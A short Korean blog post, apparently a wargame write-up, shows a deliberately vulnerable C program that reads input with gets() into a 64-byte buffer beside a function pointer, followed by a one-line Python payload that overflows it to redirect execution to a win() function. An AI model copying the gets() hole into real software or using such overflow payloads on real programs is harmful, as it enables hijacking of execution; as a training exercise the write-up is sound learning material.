친구에게 알려주면서 오랫만에 포스팅 한다.
- #include <stdlib.h>
- #include <unistd.h>
- #include <stdio.h>
- #include <string.h>
- void win()
- {
- printf("code flow successfully changed\n");
- }
- int main(int argc, char **argv)
- {
- volatile int (*fp)();
- char buffer[64];
- fp = 0;
- gets(buffer);
- if(fp) {
- printf("calling function pointer, jumping to 0x%08x\n", fp);
- fp();
- }
- }
eip를 찾아 win 함수의 주소로 덮어 씌우면 될것 같다.
역시 쉬운문제를 풀면 뭔가 힐링이 되는것 같다.
payload
(python -c 'print "A"*64 + "\x7d\x84\x04\x08"';cat;) | ./stack3